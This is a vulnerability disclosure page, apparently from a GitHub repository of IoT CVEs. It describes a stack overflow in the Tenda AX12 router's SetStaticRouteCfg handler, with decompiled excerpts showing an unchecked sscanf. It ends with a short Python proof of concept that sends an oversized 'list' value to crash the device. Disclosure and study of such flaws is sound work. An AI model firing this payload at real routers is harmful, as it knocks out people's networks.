

main IoT-CVE / Tenda / AX12 / 6 /



sec-bin Update poc ...

on Feb 9 History

..



image

10 months ago



README.md

10 months ago



README_zh.md

10 months ago



README.md

Affect device: Tenda-AX12 V22.03.01.21_CN(<https://www.tenda.com.cn/download/detail-3237.html>)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/SetStaticRouteCfg` page which influences the latest version of Tenda-AX12 V22.03.01.21_CN(<https://www.tenda.com.cn/download/detail-3237.html>)

There is a stack overflow vulnerability in the `sub_42E328` function.

First, this function calls the `sub_42E030` function.

```

8 | v3[3] = 0;
9 | blob_buf_init((int)v3, 0);
10 | sub_42E030((int)a1, (int)v3);
11 | tapi_set_route(v3[0]);
12 | blob_buf_free(v3);
13 | sub_415368((int)a1, (int)"HTTP/1.0 200 OK\r\n
14 | sub_415368((int)a1, (int){\\"errCode\\":%d}");

```

In the sub_42E030 function:

```

42 | v3 = WebGetVar(a1, (int)"list", "");
43 | printf("get_route_info_wp list:%s\n", v3);
44 | if ( (unsigned int)strlen(v3) < 5 )
45 |     return -1;
46 | while ( 1 )
47 | {
48 |     v4 = (_BYTE *)strchr(v3, 126);
49 |     v5 = v20;
50 |     v6 = v19;
51 |     if ( !v4 )
52 |         break;
53 |     *v4 = 0;
54 |     v13 = v4 + 1;
55 |     if ( sscanf(v3, "%[^,],%[^,],%[^,],%s", v16, v18, v19, v20) == 4 )
56 |     {
57 |         sub_42DFC8(v16, v18, v17);
58 |         v14 = blob_nest_start(a2, 0);

```

The v3 variable is obtained directly from the http request parameter list .

Then v3 will be splice to stack by function sscanf without any security check, which causes stack overflow.

So by POSTing the page /goform/SetStaticRouteCfg with long list , the attacker can easily perform a Denial of Service(DoS).

POC

Poc of Denial of Service(DoS):

```

import requests

url = "http://192.168.0.1/goform/SetStaticRouteCfg"
list_data = 'a'*0x1000 + '~'

r = requests.post(url, data={'list': list_data})
print(r.content)

```

